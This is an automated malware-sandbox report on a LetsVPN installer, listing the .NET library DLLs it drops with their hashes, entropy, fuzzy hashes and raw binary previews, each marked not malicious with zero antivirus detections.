Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....gu..........." ..0.............f.... ... ....... .......................`............`.....................................O.... ..\|................+...@..........T............................................ ............... ..H............text...\|.... ...................... ..`.rsrc...\|.... ......................@..@.reloc.......@......................@..B................H.......H...........PR...........................................................0..H.........~....,...~....~..........(......~....%-.&s....%...........,..(..............#<.......0..%.......~..........(...............,..(.........................(g.....(h.....,..o.......(e...r...p(n....(......0..#.......~..........(.............,..(.......................0..#.......~..........(.............,..(.......................0..........~..........(....(....o....(...+....,..(........

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24040
Entropy (8bit):	6.6998442362852
Encrypted:	false
SSDEEP:	384:p/9b512C4dABe070VJI0Ftdalemxxf34wqsWeb/WjLBpwKANynsAw/98E9VF3AM2:p/f1IDjV9UPPpW0Aw/KENAMxmHJ
MD5:	3D8A9CF664C2874A9F6880D5F1F51236
SHA1:	D6B9D9A8A2A69028CA9B3F72026185AAA115FDDD
SHA-256:	9FAA1B1F24E9B4A5C758D92880A33F4DFF31ACF53619829F2E7BB6B7790C6D99
SHA-512:	BA83C0528D87F169E76348241F9B55A24DB2F979E545A0F71F1A46F459AB6DB364AE1AFE731DB001615E48F372BFC9A8BFDA19BF00C25F935CD8A718F38DCDC0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Q..........." ..0..&...........E... ...`....... ....................................`.................................[E..O....`...............2...+..........hD..T............................................ ............... ..H............text....%... ...&.................. ..`.rsrc........`.......(..............@..@.reloc...............0..............@..B.................E......H.......4&.......................C........................................(......(.....0....................(....}.....6.\|.....(...+:.\|......(...+:.\|......(...+2.\|....(......{....%-.&.\|....s.....(....%-.&.{...."..(....>..}......}......0...........{....o........{....(....Z..}......}......}....N.{......{....s ...N.{.....{.....s ...v.{.....{....o!....{....s".....(...."..s.....0.....................s#...&...s#.....{$..."..}$...*.0..F.........{%....Xh}%.....}&.

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	102888
Entropy (8bit):	6.1353570583456385
Encrypted:	false
SSDEEP:	1536:Arf5GttgxHXEuRmG5rtkGY4CEmWAxXSSYhhS98ca2Wvsd65FJDlGWwkEyKAwrxSb:05GttWHXEUx5r65LxXshk8JDIWPKhQb
MD5:	26143B75BA521764BF8EB97540DC1834
SHA1:	72E72353C19630720D8DC7BD33960F79F972E110
SHA-256:	D9580C8F08D51207AAD292C459DF017976A6E9CFC7EFE9EBDC3EE97B3C528C74
SHA-512:	044FBB7E12102D3348C295E325AC5289974FFFF155934BB990E158B1352E3D9760AFB35A3BCE6AA0A8415DAB160D958AEF3588DD5021DC33D495E34623062F29
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...eu.K...........!.....\...........z... ........@.. ..............................v.....@..................................y..K....................f...+...........x............................................... ............... ..H............text...$Z... ...\.................. ..`.rsrc................^..............@..@.reloc...............d..............@..B.................z......H...........L...........x...1...P ........................................z...y.k.....bdd I..`..).PsR@... .aL...%:...y.....XDgM.X}..~)2.v-..4..........EAZZ...,..[..H...o5C.o...5/I.m.!2...#.:.(......}....:.(......}.......0..)........{.........(....t......\|......(...+...3.....0..)........{.........(....t......\|......(...+...3."..(...."..(........{....,..{.....o.....{....o....2.~....(....6.~.....(....F.~....(....td...6.~.....(....J.(.....s ...}....*F.(...

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	145896
Entropy (8bit):	5.796559165483351
Encrypted:	false
SSDEEP:	3072:PSiitDW10Oug94BeCCepM1STU/xnW+W6jfM0amyw0VzGLC1grekKtk0do/9o8afw:qiNang9meCCepM1ST+xnW+W6jfM0amyM
MD5:	4FE29372BE1C3B98B5A129F4FFAF75D4
SHA1:	E8DD2E3D96C26E6D4DDD532AF0AA9974248CFAC5
SHA-256:	E6DF6C0ACF073FBBF14F315A9572B029325DF5C27692A34EAB169AA0680F47C7
SHA-512:	E948225AA03843339EA13FB801C819F3AA8DD171F944A54F7E32BA109E5E9F994CCE1B282C91A35356428B2446D267512A3665AC51395C15E30D36355E6686F9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...vJ.`.........." ..0..............$... ...@....... ...............................n....@..................................$..O....@...................+...`......T#............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................$......H........q......................".......................................0..H.........(....o.........,....+..{.........,....(....o....s`...}......{.....+...0..a.........(.........,R..(....o......uQ........, .sd.....uQ........{....o6.....+...r...ps........og..........0..>.........{.........,%....{....ti...}.........ru..p.s)...z..{.....+.............$......&...}....z..}.....(.......}.....(.....>.(....o.......R.(.....-..+..o........0............(....o....(.....+..*R..(..

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	31208
Entropy (8bit):	6.533726828569594
Encrypted:	false
SSDEEP:	768:NLNoCdzhFQj/hJTBbGXZDDcULH4JVrwRSgBucQgJa5/Zi/dUDyqz1POMr1Aw/KEa:NLqCHmTxGXZDDcULH4JVrwRSgBuvgJau
MD5:	E2AE30A3F257602FC3F1C43CCD2031F4
SHA1:	58F2B71D1162AE9FCDDF429EB278B0E9A98ADF86
SHA-256:	2113EE12B5FA9BAA3E11F199E9F32F77ADA99C2C4526FC7F3B78A48986DC34AA
SHA-512:	0147CE1E1AB792862D2A6C13E81EA72BDDDFEA23A4AF65361FC8EE3C1D98C9003079396D06A542CC77A7AB95BC1CEA15824BA7237AEEE5B57E740943C87C0A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dCd..........." ..0..D...........b... ........... ....................................`..................................b..O....................N...+...........a..8............................................ ............... ..H............text....B... ...D.................. ..`.rsrc................F..............@..@.reloc...............L..............@..B.................b......H........0..h0..................Da........................................(......{....>..}......}......{....>..}......}......{....>..}......}......{....-%..(.....(......(......s....(....}.....{....r.#.......?}.....(.....(I.....,..(....,..(....,..(.....{....,..{....o......(.....0..................s....(............s....(.....(.......?...s ...o!....(.......>...s"...o#....(.......A...s$...o%....(.......@...s&...o'....(.......B...s(...o)....{.......C...s...o+....{....

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.526077258248235
Encrypted:	false
SSDEEP:	768:CnD8wecsVygSvqa8ZDPLryER0SO4JVrTYIWUpDkS/Ka5/Bi/W7v4F4zfKwSAw/Kt:C7eN4vqa8ZDPLryER0SO4JVrTYIWUpDH
MD5:	C128F964B9B57928E3C88ADDAD3BCD98
SHA1:	EEDCA6F35B7B013A9B40C80F7ED9A12E4A6C3F79
SHA-256:	E89D9139DBFF8377D47B6DA01C5A538368B03CBD99329BDE590C6287A28DEBCD
SHA-512:	C43EED9D4F062575E3EF34F35A1015F1E70E3A7D2CAD16DCB65991808282E8FBBB261796363BC8D569D52ACEEBF5109C0B18335065F3D9DBAEE4DD5039E1A831
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...]............" ..0..P...........n... ........... ...............................Z....`.................................Gn..O....................X...+..........xm..8............................................ ............... ..H............text....N... ...P.................. ..`.rsrc................R..............@..@.reloc...............V..............@..B................{n......H........5...7...................l........................................(....F.~....(....t:...6.~.....(....F.~....(....t:...6.~.....(....F.~....(....t:...6.~.....(....6.t.....}......{....-%..(.....(......(......s....(....}.....{......0..........r...p.:...(.........(............s....s....(.........r1..p.:...(.........(............s....s....(.........rO..p.:...(.........(............s....s....(.........J.s....}.....(....F.~....(....t....6.~.....(....*V.t....o....,

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16360
Entropy (8bit):	6.900740061079095
Encrypted:	false
SSDEEP:	384:xN9VWhX3WZlpwKANynsAw/98E9VF3AM+oj3S4L:TGnAw/KENAMxl
MD5:	6AE6A4F8D789276D6314D708DC8BCAFC
SHA1:	2AE5D07B8F70B60FCD55FFC77D3B8EDA7F8264E6
SHA-256:	996958AAD17A7834CBC2AAD9F1B8512298F00ADAE044127B1D6ADA086C677C1D
SHA-512:	6983095B266FAEFAE7F99A0C4AD6E49011E70D57D69AB1F9970D5E0E5FB54BF7E668E365418DC351BE976D21083FEA26C6AA4DAD89925DF49F9834DC54810363
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............(... ...@....... ..............................`.....@.................................T(..O....@..0................+...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l...\|...#~......<...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.7...K.W...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21992
Entropy (8bit):	6.72214788103536
Encrypted:	false
SSDEEP:	384:pSk7xWUHIx0S3WF7rWT6pwKANynsAw/98E9VF3AM+oMy8VE0:p/0UHU0SOCAw/KENAMxij
MD5:	A025379B6C75C72D0B2E44389E1B952E
SHA1:	D73E236D873F78D130A8BFF84D81F9651818D3C9
SHA-256:	399A4963849D90B614A53DD32138B7E5356711766A7DAD2D2563F1BF21D04533
SHA-512:	43B1C7A184049D562B33905802A8076160B6128DC236E0D9E92B3958100E22771DCB698D1554A6582BE40D6A1CB2E3DA8E7D47FA01A3CEFE433D781BF495826D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...9.2..........." ..0..............=... ...@....... ....................................`..................................<..O....@..................+...`.......;..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......(..............@..B.................<......H....... "...............8..(... ;........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}....:.(......}......{...."..(...."..(...."..(...."..(...."..(......(......(......(......(....:.(......}......{....:.(......}......{....:.(......}......{......(....:.(......}......{....^.(...........%...}....:.(......}......{....z.(......}...........%...}....V.(......}......}......{......{....*V.-.r...ps....z

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28648
Entropy (8bit):	6.429096413867927
Encrypted:	false
SSDEEP:	384:H4nLpSumfSQrlHViaCZYvLPQmlJLfjnWn6GWYnapwKANynsAw/98E9VF3AM+oPJh:H4QVrxViR9mlxdQAw/KENAMx5Z
MD5:	E108E97E32B706D301DF5A37425D03C4
SHA1:	9389C212DDDC18895E64B4F220FD7A86580FA8D0
SHA-256:	F39A30101A7913E4BAC2A02FF46DF2430C36A5AA5056AB6BBF9EEEACA08642DD
SHA-512:	CDA4A950F1BF4443837245EDC837446A775FA9D904EA4D3E0F08EBC9F21D46F1FFBECF6033459F9FF59996F5A326A0169142FC1D134B6250F26E513420ED310C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....j............" ..0..:..........jX... ...`....... ....................................`..................................X..O....`...............D...+..........$W..T............................................ ............... ..H............text...p8... ...:.................. ..`.rsrc........`.......<..............@..@.reloc...............B..............@..B................LX......H........$..8"...........G.......V.......................................~......0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%....(..........(

C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24552
Entropy (8bit):	6.628605811172365
Encrypted:	false
SSDEEP:	384:SdIaf4rbDyIb/KcWCNRWr7JWUUpwKANynsAw/98E9VF3AM+oCOF193:S+THDHbs6GxAw/KENAMxZ
MD5:	C178E4F20A22104A87D1D301BEC6BCF0
SHA1:	DFAE98F4FBADFA9FC30EA13712A41EA0FFCD2D62
SHA-256:	6F295B2B9F08E75C0A867A72A4DA065CF67AB2497FEFE5C508656224D1D9C132
SHA-512:	7329803D5BC9A6C1AE6F5D1FEDDA531574A831DC42660DA86547A8DBD89DC417E5B2FB3DF3AEB820C3AA67C2BD70792E216FFB26D0CF4D25CC3D94E74EA65253
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...8............." ..0.............H... ...`....... ..............................K.....`.................................yH..O....`..d............4...+...........G..T............................................ ............... ..H............text....(... ..................... ..`.rsrc...d....`.......,..............@..@.reloc...............2..............@..B.................H......H........$...............A.......G.......................................~......0..........(....,....(.....o.......&......................0...........(.......(....-..,....(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(.....(....,.r...p......%...%...%...(........(.....(....,"r...p......%...%...%...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	54248
Entropy (8bit):	6.2657358784437305
Encrypted:	false
SSDEEP:	1536:4r59g98C87KHeBUbwgKirbdwMRTzAt9lvAwrxv:4r5HC87rUbwgKirJw1DlvhF
MD5:	5F912B02B5018CDBD77E3F6135DE9E52
SHA1:	60D764249C80D53BD6E231F65C9DA4639E54037E
SHA-256:	916AE6CDA1296A87744B4899B4045E7808C836953FF571206389D8BE3DB94C24
SHA-512:	91990A0BF9883F68A96C03F03B2B469CB2010DC0D2C07C683E336E038B18478474999E387CFDFDAE2D5CBAC5443429E2075F7FE60996D4CEDBA26A5E6E308533
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....u-..........." ..0................. ........... ....................................@.....................................O.......`................+..............T............................................ ............... ..H............text....... ...................... ..`.rsrc...`...........................@..@.reloc..............................@..B.......................H........a..x\..................@.........................................(....:...(....(....&...(...."..(...."..(...."..(......(.....0..,........o....o......o.....jo.....o.....o.....o......s....}.....s....}.....s....}......2}.....(.....s4...}....b.{.....o ....{....o!...b.{.....o"....{....o#...6.{.....o$....0..-........{....,.s%...z................s.......(.......{....,.s%...z.{....-..s&...}.....{......sS...o'.....{....,.s%...z.{.....o(.......oU...*..{....,.s%..

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	100328
Entropy (8bit):	6.409382993059922
Encrypted:	false
SSDEEP:	1536:6U2qJ+RazRt/Kc4oJiOxFR4NdJF0/RfhF46HAoYKHgPzpS6w7fa1C9rYAwrx6a:d2MRtrfrR+Pe/xAiAzpQ7y1C9rYhz
MD5:	4851542D15F473DFEEC7B33A4F32C8C7
SHA1:	75CBD86A12D6B6083DA3E9E4E758B0839F8EDA7F
SHA-256:	3B3A2F33D6F7578FC3F76E9013F7FBBB7049DD91A2E7F0943427385C03D7A354
SHA-512:	3F11406FCA0135EF0F32EC2314B9419A03B9C3ACA5712D3C1774AAE3CA6B1999BEC8C742057D6A2DCA2CB5D6583CF713B676E8C9BE36E844CFDBA7B27BE899A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rd..........." ..0..T...........q... ........... ..............................P.....@.................................eq..O.......`............\...+...........p..T............................................ ............... ..H............text....S... ...T.................. ..`.rsrc...`............V..............@..@.reloc...............Z..............@..B.................q......H.......<s.......................p......................................:.(......}......{....-...{....(.....{......o......{....-...{....(.....{......o........0..a........s....}.....s....}.....o....o.....+(.o......{.....o.......(.....o......(.....o....-....,..o..............".4V.......0..J........o....o ....+"..(!.....{.....o.......(.....o".....(#...-...........o.....*........../;.......s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$...z.s$.

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38888
Entropy (8bit):	6.463590680052079
Encrypted:	false
SSDEEP:	768:O+meiCyrXOwS8uRssveum1peFLHFBbOlAw/KENAMxmu:VyrewFassveuPbBClAwrxmu
MD5:	5E8A53A04F7ABE9AB061B37DEEC8511D
SHA1:	5C311F2CC04C39B0513756666C927D9314BDC311
SHA-256:	1CBE439C581945DEBCEE01F878FE8BED6AD656DBA0EA292D50673382DB23BBC1
SHA-512:	40291DA82EB567EA2EA55B281DD531CCD5265845988F542A966E1A082E0DC3D7CD8E3A0A003DA43B789822A6A775C3EB522DEBA523A73E1B702663DE510E422A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....i............" ..0..d............... ........... ............................... ....@....................................O.......l............l...+..............T............................................ ............... ..H............text...4c... ...d.................. ..`.rsrc...l............f..............@..@.reloc...............j..............@..B........................H.......,A..\@..........................................................J.(.....s....}......F.(......E.(....z.{.....To.....:o....&...(.....0..a.........M.(.....o....,,.{.....`o.....`o....&.{.....o....o....o....&.o....,...o....(.....(....,...(......-.r...ps ...z.o!...,%.o"...r...p(#...-..o"...r#..p(#.....n.{.....~o....&..o$...(....z..P.(.....o%...,...o&...(......{.....(o....&.........s'...(...+.{.....)o....&*..0..3........o(.......YE........3...........m...&...`...

C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	356328
Entropy (8bit):	6.244422689325779
Encrypted:	false
SSDEEP:	6144:yFzzF5VOCxfiKKhsw4NiL0XRzx9WoCklyusbhpn:adfiKI4RzWSyuCpn
MD5:	01BA6600DBA7BD569BB0958221B04F71
SHA1:	5091DDB5E431E18FA6CBAB16E052EE683A7491F7
SHA-256:	5A4A92EC8FF9C0A8B0502B38E89EAF5398205DBD23C87DBED2D77B7B390477B8
SHA-512:	57C8A6B04B2BB4D4C7C98D55871237D010877D8213DDD6A934AA44E37F50974DF9CCD0910A164045CEA18D7572C09CFD18EDAB2CC54E371714FF2093984EE6D9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...i.}..........." ..0..<...........Q... ...`....... ..............................'.....@..................................Q..O....`..H............D...+...........P..T............................................ ............... ..H............text....:... ...<.................. ..`.rsrc...H....`.......>..............@..@.reloc...............B..............@..B.................Q......H........b..@...................DP......................................"..s0..."..s0...>..}1.....}2.....{1....O...,..{2...,..{1....O...o&...2..O....3...6.r...p.(4.....(5.....}6......i.O...}7....{6....{7.....i(8.....}9...2....i.(:...>..s;.....(<...V..{7....{6.....(=.....0..1..........Y./....X.[......(=.........(=..........(>.......0.._..............+P.../5.../..{9......O......O...o?....0.....%.X..O....O...+.....%.X..O....O.....X....2.*z...X...b...X...b`...X..b`...

C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	711144
Entropy (8bit):	5.963920130457662
Encrypted:	false
SSDEEP:	12288:LBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUlN:LBjk38WuBcAbwoA/BkjSHXP36RMGqN
MD5:	CD19379184933C8468A024589A8128C6
SHA1:	7A51DB0EA0963247BAF5B84A53C2E5C3C43DD23E
SHA-256:	DBF453EC23731D025844C860471C82ECFE97A0398D218E0C3776C45008DE2D26
SHA-512:	BF4B7D3B798BD8D46843BB31975822BE65DA36A1F029D5CC6EF196D82FD6A53A042F71BE806C993E4D78A299DEDAE241081D5DE9129A576BF1D6F3D5C43AED34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... .......w....`....................................O........................+.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..\|....(......._..{........+,..{\|....3...{{......(....,...{{.....{}.......-.....0...........-.r...ps....z.o......-.~.....~....

C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	521192
Entropy (8bit):	6.045616558098013
Encrypted:	false
SSDEEP:	6144:TRKflaWVRA6+LX9c1t3HpbOmhYIeDUQjcaPlq1fQx7NqEaElDp3sL2blV/VyUd9J:TRt6+A1pbOsBQAa4f0pWSbb+1ikju
MD5:	D0FB51F0061ECBAA41B19352E1F6997C
SHA1:	C7BA87D90941451D01E920825949EB9556640F5B
SHA-256:	864975ADDAD8B55B715CDBE05DF4490DA07001A017464A61C36FDB69D9D1C320
SHA-512:	3E5C00370D012F35EF2324770D32CD030E0D0664821DAF074EC267EA83E0D05A3E9D7E6B58229B86192E53E0E5BD637F6801199DE4D54200F35E9BD00474F43F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....p_.........." ..0.................. ........... ....................... ............`.....................................O........................+........................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Xw...............r...i............................................{E.....{F...V.(G.....}E.....}F......0..;........u1.....,/(H....{E....{E...oI...,.(J....{F....{F...oK..... .... )UU.Z(H....{E...oL...X )UU.Z(J....{F...oM...X.0..b........r...p......%..{E......%q4....4...-.&.+...4...oN....%..{F......%q5....5...-.&.+...5...oN....(O.....{P.....{Q...V.(G.....}P.....}Q....0..;........u6.....,/(H....{P....{P...oI...,.(J....{Q....{Q...oK..... .2;. )UU.Z(H....{P...oL

C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53736
Entropy (8bit):	6.293200989875825
Encrypted:	false
SSDEEP:	768:72xghQUndJrmbnJAM6LjB4Mz5k+/FdS0/MuLs/09P2XAw/KENAMxagq:7GghQaJiFAMAhH/Dw/09OXAwrxo
MD5:	D194499A718694BBC382BCF74C84DEBF
SHA1:	19FCD65F44A2CAE3A3CFE693AA8F026AFC75DEAA
SHA-256:	7C70367AF1E84DC33A248054AC9CD17065E769790B7ED5AD66CB34D4F41CA55F
SHA-512:	4A8FC901F0A45419E22E569ACDACF430D0B9877ACA64032FF467B43056F46D5FB9EAD62C185BE34CBA21829E24101EA29D94BC8F712B02B35A6EB079BE9B4186
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................" ..0................. ........... ...............................l....`.....................................O.......D................+..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...D...........................@..@.reloc..............................@..B.......................H........M...o............................................................{......{......{....r.(......}......}......}........0..S........u......,G(.....{.....{....o....,/(.....{.....{....o....,.(.....{.....{....o.......0..K....... ..,. )UU.Z(.....{....o....X )UU.Z(.....{....o....X )UU.Z(.....{....o....X..0..{........r...p......%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....%..{.............-.&.+.......o ....(!.....{"...:.(......}"......0..#...

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	104424
Entropy (8bit):	6.208499781200954
Encrypted:	false
SSDEEP:	1536:xdAKzGN0ifSJxFlm+FpoHloqUIdmJlllf07gllfUzb1kUyN1e/rWhsCMbdynBQAu:hbcl5mJlllf07gllfUzb6W/+b+OQhdR
MD5:	25ED2EE8D2A675AA955F33CAB636E1AB
SHA1:	FFAFF053B438C161527E350D42BDB10ABA3032BB
SHA-256:	47FDBC68646272D69C22117F0CF80A04D7A5920B8EC255BAA1E331AB33EF4D43
SHA-512:	A8BAFC715468B233252CED53F5301FC527D503A9A303B4495578C8E5610A0AA8ED159BDEF0615D34CBB9365F90D123CF535120F3D31D9EF0EECBD14C267F2D7A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...#............" ..0..b..........&.... ........... ..............................u.....`.....................................O....................l...+........................................................... ............... ..H............text...,`... ...b.................. ..`.rsrc................d..............@..@.reloc...............j..............@..B........................H.......@...x.............................................................{...."..}....>..(......(...."..s......{...."..}..........(......0..?.......s........}\|......(.....,%.{\|...,...o...........s....(...+(...."..s....*....s....R.o.....o......s......{...."..}......{!..."..}!.....{"..."..}".....{#..."..}#.....{$..."..}$.....{%..."..}%.....{&..."..}&.....{'..."..}'.....{(..."..}(.....{)..."..})...rs................. ...(......0..................

C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	48616
Entropy (8bit):	6.233289942282731
Encrypted:	false
SSDEEP:	768:fqRdLDFPhe5rHMgWVCMlh8Xlrmyac4yPeZrZ3rAw/KENAMxUP:fqRdL3e5rHMgWVTnyac4oeZrZ3rAwrxm
MD5:	C61BED81031664A04615FA8E339D7F3F
SHA1:	10255DD6E08401651BE73F44EE8C1294A2EBB3DB
SHA-256:	699B8E0D5A53D9CD2B6C297F3F22B73AEFCE357D18D8460F5620367530163117
SHA-512:	9BEA999CC3C280BE177BD76F9E75B40D2988B531022614475FEE4EE6C592495BC147E66DC50F22A35D2C038EE599D7B6F444BB8810DC7B093C644B69680B93C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
